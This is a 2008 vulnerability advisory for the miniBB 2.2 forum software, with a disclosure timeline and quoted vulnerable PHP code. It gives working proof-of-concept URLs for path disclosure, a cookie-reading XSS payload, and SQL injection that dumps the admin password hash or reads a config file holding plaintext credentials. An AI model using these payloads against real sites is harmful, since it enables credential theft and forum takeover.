# Author:  __GiReX__
# Homepage:  girex.altervista.org
# Date:    21/04/2008

# CMS:    miniBB 2.2 (and maybe prior)
# Site:    minibb.net

# Bug 1:  Full Path Disclosure
# Bug 2:  Cross Site Scripting
# Bug 3:  Remote SQL Injection

# Need:    register_globals = On
---------------------------------------

# 21/04/2008    Vendor informed
# 22/04/2008  miniBB 2.2a released (where they are fixed)
# 25/04/2008  Public advisory

---------------------------------------
# Bug 1:   Full Path Disclosure

# Vuln Code:  bb_func_regusr.php

25.   $languageDown=makeValuedDropDown($glang,'language');

# $glang is empty and it should be an array.
# So for get a full path disclosure into php warning:

# PoC:  [host]/[path]/index.php?action=registernew&glang=1
----------------------------------------------------------------------------------

----------------------------------------
# Bug 2:   Cross Site Scripting

# PoC:    [host]/[path]/index.php?action=registernew&glang[]=<script>alert(document.cookie)</script>
----------------------------------------------------------------------------------

----------------------------------------
# Bug 3:  Remote SQL Injection

# Vuln Code:  setup_mysql.php
 
30.  function db_simpleSelect($sus,$table='',$fields='',$uniF='',$uniC='',$uniV='',$orderby='',$limit='',$uniF2='',  
        $uniC2='',$uniV2='',$and2=true,$groupBy=''){
        if(!$sus){
        ...
42.  $xtr=(!isset($GLOBALS['xtr'])?'':$GLOBALS['xtr']);  
  $sql='SELECT '.$fields.' FROM '.$table.$where.' '.$xtr.' '.$groupBy.' '.$orderby.' '.$limit;
  $result=mysql_query($sql);
  ...
53.  elseif($sus==2){
  $xtr=(isset($GLOBALS['xtr'])?$GLOBALS['xtr']:'');
  return mysql_result(mysql_query('SELECT '.$fields.' FROM '.$table.' '.$w.' '.$uniF.$uniC.$uniV.' '.$a.' '.$uniF2
  .$uniC2.$uniV2.' '.$xtr),0);

# The var $xtr is empty if getClForums() was not called.
# It can be overwritten to manipulate the SQL query if register_globals = On.

----------------------------------------------------------------------------------
# Check Vuln:  [host]/[path]/index.php?action=userinfo&user=-1&xtr=OR+1

# If admin's profile is displayed, it's vulnerable!
----------------------------------------------------------------------------------
----------------------------------------------------------------------------------
# PoC:   [host]/[path]/index.php?action=userinfo&user=-1
   &xtr=UNION+SELECT+0,concat(username,0x3a,user_password),0,0,0,0,0,0,0,0,0,0,0,0,0+FROM+minibbtable_users+
         WHERE+user_id=1

# Admin's login and hash will be displayed.
# These are default's tables and columns, they can be different, use information_schema to find them.
----------------------------------------------------------------------------------
----------------------------------------------------------------------------------
# Or with the path disclosure of Bug 1, you can try to loadfile() setup_options.php
# where there are stored database and admin's login in plain/text.

# PoC:   [host]/[path]/index.php?action=userinfo&user=-1
   &xtr=UNION+SELECT+0,loadfile('[full_path]/setup_options.php'),0,0,0,0,0,0,0,0,0,0,0,0,0

# Encode in Hex loadfile()'s parameter if magic_quotes_gpc = On
----------------------------------------------------------------------------------